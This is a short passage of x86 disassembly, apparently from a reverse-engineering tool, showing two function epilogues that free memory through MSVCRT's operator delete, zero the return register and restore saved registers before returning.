add esp, 0x2c
ret
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret